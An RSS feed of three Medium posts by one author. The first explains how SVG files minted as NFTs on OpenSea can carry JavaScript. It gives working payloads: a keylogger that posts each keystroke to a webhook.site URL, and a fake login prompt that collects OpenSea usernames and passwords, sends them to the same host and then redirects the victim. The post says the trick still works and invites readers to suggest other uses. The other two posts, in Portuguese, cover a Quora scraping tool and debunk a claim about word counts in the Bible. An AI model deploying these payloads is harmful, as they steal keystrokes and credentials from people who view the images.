<![CDATA[Stories by William Ribeiro on Medium]]> https://medium.com/@willrib?source=rss-ca85ecf43103------2 https://cdn-images-1.medium.com/fit/c/150/150/0*QCP8W7f0hJ8TLmC2.jpg Stories by William Ribeiro on Medium https://medium.com/@willrib?source=rss-ca85ecf43103------2 Medium Sun, 15 Nov 2026 11:00:48 GMT <![CDATA[How I minted a keylogger within an NFT on Opensea.io]]> https://willrib.medium.com/how-i-minted-a-keylogger-within-an-nft-on-opensea-io-1a92eeb0aa91?source=rss-ca85ecf43103------2 https://medium.com/p/1a92eeb0aa91 Mon, 30 Oct 2023 00:46:41 GMT 2023-10-30T00:46:41.600Z

HOW ?

At Opensea you can create NFT from SVG images

SVG images, in addition to their graphical capabilities, offer a unique feature: the ability to include script tags. This means that SVG images can contain JavaScript code, allowing for interactivity and dynamic behavior within the image itself. This combination of vector graphics and script tags provides a powerful tool for creating visually engaging and interactive content on the web. It’s commonly used for creating charts, animations, interactive graphics, and more LIKE JAVASCRIPT :)

<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
  <circle cx="100" cy="100" r="50" fill="red" />
  <script type="text/javascript">
    alert("all your base are belong to us");
  </script>
</svg>

And this is the result:

You can manipulate the JS code to POST data in another URL as i did in this SVG

<svg onload="var req = new XMLHttpRequest(); req.open('GET', 'https://webhook.site/edb42439-b3d5-40ad-87d6-a7faec960b2b', true); req.setRequestHeader('Upgrade-Insecure-Requests', '1');req.setRequestHeader('User-Agent', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36') ;req.send(null);var headers = req.response.toLowerCase();console.log(headers);" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" id="Layer_1" x="0px" y="0px" viewBox="0 0 100 100" enable-background="new 0 0 100 100" xml:space="preserve" height="100px" width="100px">
<g>
 <path d="M28.1,36.6c4.6,1.9,12.2,1.6,20.9,1.1c8.9-0.4,19-0.9,28.9,0.9c6.3,1.2,11.9,3.1,16.8,6c-1.5-12.2-7.9-23.7-18.6-31.3   c-4.9-0.2-9.9,0.3-14.8,1.4C47.8,17.9,36.2,25.6,28.1,36.6z"/>
 <path d="M70.3,9.8C57.5,3.4,42.8,3.6,30.5,9.5c-3,6-8.4,19.6-5.3,24.9c8.6-11.7,20.9-19.8,35.2-23.1C63.7,10.5,67,10,70.3,9.8z"/>
 <path d="M16.5,51.3c0.6-1.7,1.2-3.4,2-5.1c-3.8-3.4-7.5-7-11-10.8c-2.1,6.1-2.8,12.5-2.3,18.7C9.6,51.1,13.4,50.2,16.5,51.3z"/>
 <path d="M9,31.6c3.5,3.9,7.2,7.6,11.1,11.1c0.8-1.6,1.7-3.1,2.6-4.6c0.1-0.2,0.3-0.4,0.4-0.6c-2.9-3.3-3.1-9.2-0.6-17.6   c0.8-2.7,1.8-5.3,2.7-7.4c-5.2,3.4-9.8,8-13.3,13.7C10.8,27.9,9.8,29.7,9,31.6z"/>
 <path d="M15.4,54.7c-2.6-1-6.1,0.7-9.7,3.4c1.2,6.6,3.9,13,8,18.5C13,69.3,13.5,61.8,15.4,54.7z"/>
 <path d="M39.8,57.6C54.3,66.7,70,73,86.5,76.4c0.6-0.8,1.1-1.6,1.7-2.5c4.8-7.7,7-16.3,6.8-24.8c-13.8-9.3-31.3-8.4-45.8-7.7   c-9.5,0.5-17.8,0.9-23.2-1.7c-0.1,0.1-0.2,0.3-0.3,0.4c-1,1.7-2,3.4-2.9,5.1C28.2,49.7,33.8,53.9,39.8,57.6z"/>
 <path d="M26.2,88.2c3.3,2,6.7,3.6,10.2,4.7c-3.5-6.2-6.3-12.6-8.8-18.5c-3.1-7.2-5.8-13.5-9-17.2c-1.9,8-2,16.4-0.3,24.7   C20.6,84.2,23.2,86.3,26.2,88.2z"/>
 <path d="M30.9,73c2.9,6.8,6.1,14.4,10.5,21.2c15.6,3,32-2.3,42.6-14.6C67.7,76,52.2,69.6,37.9,60.7C32,57,26.5,53,21.3,48.6   c-0.6,1.5-1.2,3-1.7,4.6C24.1,57.1,27.3,64.5,30.9,73z"/>
</g>

<script type="text/javascript">
    var l = "";             // empty string to concatenate keys onto
    document.onkeypress = function (e) {
        l += e.key;

        
        var req = new XMLHttpRequest();
        req.open("POST","https://webhook.site/edb42439-b3d5-40ad-87d6-a7faec960b2b", true);    
        req.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        req.send("data=" + l);
        
    }
</script>
</svg>

LISTED on MATIC

https://opensea.io/assets/matic/0x1dfd7d7199c784402eea9cbcab91c6dccdcc02ab/3

And the Data are being posted on this Webhook

https://webhook.site/#!/edb42439-b3d5-40ad-87d6-a7faec960b2b/c2baed83-8f3a-400e-a3ae-a842ef3a4405/1

SO WHAT ?

Now that we have a functional PoC we can evolve into an MVP, which is the example given initially, and here is the code:

<svg width="400" height="200" xmlns="http://www.w3.org/2000/svg">
  <foreignObject width="100%" height="100%">
    <body xmlns="http://www.w3.org/1999/xhtml">
      <script>
        var username = prompt("Enter your username for opensea.io:");

        if (username) {
          var password = prompt("Enter your password for opensea.io:");

          if (password) {
            alert("Hello " + username + "\nWelcome to opensea.io");

            // Combine username and password and send the data
            var l = "Username: " + username + " Password: " + password;

            // Create an XMLHttpRequest
            var req = new XMLHttpRequest();
            req.open("POST", "https://webhook.site/edb42439-b3d5-40ad-87d6-a7faec960b2b", true);
            req.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
            req.send("data=" + encodeURIComponent(l));

            // Delay the redirection after the alert
            setTimeout(function () {
              window.location.href = "https://opensea.io";
            }, 1000); // Delay for 1 second (adjust as needed)
          } else {
            alert("Password not provided. Please enter both username and password.");
            // Refresh the page after the alert
            setTimeout(function () {
              window.location.reload();
            }, 1000); // Delay for 1 second (adjust as needed)
          }
        } else {
          alert("Username not provided. Please enter both username and password.");
          // Refresh the page after the alert
          setTimeout(function () {
            window.location.reload();
          }, 1000); // Delay for 1 second (adjust as needed)
        }
      </script>
    </body>
  </foreignObject>
</svg>

Result:

LISTED HERE:

https://opensea.io/assets/matic/0x1dfd7d7199c784402eea9cbcab91c6dccdcc02ab/9

Data collected in the same Webhook

Webhook.site - Test, process and transform emails and HTTP requests

Here is a video from the PoC in action

Does it still work? YES
It’s a problem ? Perhaps
In my opinion, as it can be used as a Stored XSS in an Openasea domain (seadn.io), as well as in the use of NFT with malicious code in applications and websites that can use NFT`s created by the same method I used.

BUT, remenber this is not a issue in Opensea’s main domain, ALL the minted NFTs are hosted on another domain.

Share your opinions and other uses for this functionality, that’s why I’m creating this post, thank you for following this far and

]]> <![CDATA[Como pesquisar dados no Quora e exportá-los facilmente?]]> https://willrib.medium.com/como-pesquisar-dados-no-quora-e-export%C3%A1-los-facilmente-e6d085e33eab?source=rss-ca85ecf43103------2 https://medium.com/p/e6d085e33eab Tue, 07 Mar 2023 02:53:12 GMT 2023-03-07T03:00:29.769Z Ao pesquisar sobre como pesquisar dados no Quora, não consegui encontrar uma solução simples que permitisse a realização da pesquisa e a exportação dos dados encontrados. Dessa forma, decidi criar a minha própria solução para essa necessidade. Em outras palavras, eu queria ser capaz de pesquisar o Quora de maneira fácil e rápida, e depois exportar os dados relevantes para uma planilha ou outro formato que pudesse ser facilmente manipulado ou analisado. Como não encontrei uma ferramenta que atendesse a esses requisitos, decidi criar a minha própria solução para resolver esse problema e como hospedagem escolhi o Apify.

Quora Brasil · Apify

O Apify é uma plataforma que permite a criação de robôs da web para automatizar tarefas de web scraping. Com ele, você pode facilmente extrair dados de páginas web, incluindo o Quora.

Este aplicativo é muito útil para quem está interessado em pesquisar no Quora para obter informações sobre um determinado tópico. Ele permite que você faça uma pesquisa por palavras-chave, obtenha informações de várias páginas de resultados e exporte as informações para um arquivo CSV ou JSON.

Para utilizar este aplicativo, basta criar uma conta no Apify e instalar o aplicativo “Quora Scraper Brasil”. Em seguida, basta definir as palavras-chave de pesquisa e outras configurações, como a quantidade de resultados que deseja extrair.

Uma vez que você tenha configurado o aplicativo de acordo com suas necessidades, basta clicar no botão “Executar” para iniciar a extração de dados. O Apify então realizará a pesquisa no Quora e exportará os resultados para o arquivo que você especificou.

Exemplo:

Pesquisando sobre ChatGPT utilizando o parâmetro de entrada (input)

Pesquisando sobre ChatGPT utilizando o parâmetro de entrada (input)

Selecionando a integração com Google Drive

Selecionando a integração com Google Drive

Definindo o tipo de arquivo e ativando a integração entre as opções JSON, XLSX, XML, HTML, CSV, RSS

Definindo o tipo de arquivo e ativando a integração

Ou até as integrações com serviços de terceiros como Keboola, Airbyte, Zapier, Make, para realizar ações após a execução.

E após a execução do botão start no canto inferior da tela

Botão start no canto inferior da tela

Os dados foram exportados para seu arquivo no Google Drive, com atributos de número de respostas e outros atributos que podem ser filtrados ou enriquecidos com dados de outras fontes.

dados exportados para seu arquivo no Google Drive

Principais dados Número de respostas, Título da pergunta, Endereço no Quora.

Espero que este post tenha sido útil e que tenha ajudado você a entender como utilizar o Apify para extrair dados do Quora. O Quora é uma fonte valiosa de informações, e com esta ferramenta, você pode acessar essas informações de forma mais eficiente e organizada.

Agradeço a você que leu até o final deste post sobre a ferramenta Apify para extrair dados do Quora. Espero que tenha achado as informações úteis e que possa aplicá-las em seus projetos futuros.

Caso queira receber mais conteúdo como este, não deixe de me seguir. Ficarei feliz em compartilhar mais dicas e ferramentas úteis para auxiliar em suas atividades. Mais uma vez, obrigado pela leitura!

https://twitter.com/wi77i4m

Obrigado.

https://apify.com/wiliamribeiro/quora-brasil

]]> <![CDATA[Dinheiro é a palavra mais citada na Bíblia?]]> https://willrib.medium.com/dinheiro-%C3%A9-a-palavra-mais-citada-na-b%C3%ADblia-4c7adc54f1af?source=rss-ca85ecf43103------2 https://medium.com/p/4c7adc54f1af Sat, 19 Jun 2021 23:14:27 GMT 2021-07-03T15:15:20.393Z Assisto muitos vídeos sobre educação financeira e sempre acabo vendo vídeos do Primo Rico, onde consigo aproveitar algum conhecimento apresentado por meio dos exemplos ou análises realizadas, contudo em alguns assuntos fico na dúvida da veracidade ou viés da informação apresentada, como a frase abaixo:

“A palavra mais citada na Bíblia é dinheiro” — Rico, Primo

Escutando isso algumas vezes fiquei em dúvida, pois já li o livro citado. Bom, faz um bom tempo que não o abro, mas pelo que me lembro não era uma palavra tão repetida quanto é dito pelo Primo, mesmo que haja em suas traduções palavras como ouro e prata sendo substituídas por dinheiro, sendo assim, resolvi fazer uma pesquisa para sanar esta dúvida.

Bom, nada falava sobre ser a palavra mais citada, talvez minha pesquisa estivesse errada, ou o Primo estivesse falando de outras versões do livro.

Quem sabe ? Existem muitas, pois é um livro antigo com muitas traduções e verões, com isso fui testar algo na prática para validar meu estudo.

Criei um código simples para contar palavras.

Código criado e funcionando, vamos sanar a dúvida…

Considerando versões com a estrutura do Velho e Novo Testamento utilizei inicialmente a fonte de muitas das novas versões, esta com grande importância para a língua inglesa e popularização do livro.

Versão King James em inglês.

The King James Version of the Bible

E contando a frequência das palavras encontradas:

A Biblia Sagrada, Contendo o Velho e o Novo Testamento de João Ferreira d’ Almeida

A Biblia Sagrada, Contendo o Velho e o Novo Testamento by João Ferreira d' Almeida

Utilizei também a versão mais popular no Brasil

Como podemos ver independentemente da versão ou tradução utilizada neste teste a palavra mais repetida é o substantivo SENHOR, ou seja…

Como curiosidade fiz o mesmo processo para saber o número de vezes em que palavra dinheiro se repete e encontrei o valor de 140, um valor muito menor do que as encontradas no topo da lista.

Pesquisando: “money is the word mos mentioned in bible” (dinheiro é a palavra mais mencionada na bíblia)

E como esperado este número foi o mesmo encontrado na saída da execução código, onde utilizo a versão do King James:

Com um pouco mais de pesquisa é possível verificar que esta é uma notícia, falsa, que já se propagou faz um tempo como visto abaixo:

Is it true that "money" is the most used word in the holy Bible?

Concluindo…

Encontrei alguns dados que podem ajudar na pesquisa, inclusive no site do Vaticano, sobre estatísticas dentro da Bíblia e sobre as letras (sim, somente letras, não palavras) encontradas com mais frequência em idiomas diferentes, algo que pode ser útil em um artigo sobre criptografia, mas não para o que testamos neste artigo.

The New American Bible

Em nenhum artigo encontrei dados e fonte como citado neste, por isso o escrevi, espero que tenham curtido, me sigam para mais e obrigado :)

IMPORTANTÍSSIMO: Se alguém souber de onde veio esta suposição, por favor me indiquem nos comentários.

UPDATE: Este artigo serviu como base para o E-Farsas, obrigado pela referência :D

Gilmar Lopes on Twitter: "Agora no E-farsas:É verdade que a palavra "dinheiro" é a mais citada na Bíblia? https://t.co/M6ps3GhNgf via @efarsas / Twitter"

Agora no E-farsas:É verdade que a palavra "dinheiro" é a mais citada na Bíblia? https://t.co/M6ps3GhNgf via @efarsas

Me sigam lá também no

William Ribeiro on Twitter: "UPDATE: Meu artigo serviu como base para o @efarsas, obrigado pela referência :D / Twitter"

UPDATE: Meu artigo serviu como base para o @efarsas, obrigado pela referência :D

É verdade que a palavra "dinheiro" é a mais citada na Bíblia?

]]>